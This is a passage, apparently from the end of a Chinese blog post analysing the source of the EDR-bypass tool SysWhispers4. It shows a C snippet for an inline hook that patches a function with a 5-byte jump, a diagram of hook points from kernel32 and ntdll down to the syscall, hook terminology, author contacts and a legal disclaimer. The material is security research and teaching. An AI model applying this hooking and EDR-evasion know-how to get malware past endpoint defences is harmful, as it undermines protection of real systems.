VirtualProtect(pTargetFunction,5, PAGE_EXECUTE_READWRITE,&oldProtect); -
// 4. 写入跳转指令 -
memcpy(pTargetFunction, hookCode,5); -
// 5. 恢复内存保护 -
VirtualProtect(pTargetFunction,5, oldProtect,&oldProtect); -
// 6. 刷新指令缓存 -
FlushInstructionCache(GetCurrentProcess(), pTargetFunction,5); -
} -
应用程序 -
↓ -
[HookPoint1] kernel32.dll (Win32 API 层)←最常见 -
↓ -
[HookPoint2] ntdll.dll (Native API 层)←较少见 -
↓ -
syscall 指令 -
↓ -
内核层(ntoskrnl.exe) -
拦截点(Interception Point):选择在哪里插入 Hook
-
跳转目标(Detour Function):被重定向到的自定义函数
-
原始函数(Original Function):被 Hook 的原始函数
- 公众号:安全狗的自我修养
- vx:2207344074
- http://gitee.com/haidragon
- http://github.com/haidragon
- bilibili:haidragonx
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon haidragon《edr绕过工具 SysWhispers4 源码分析系列(二)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论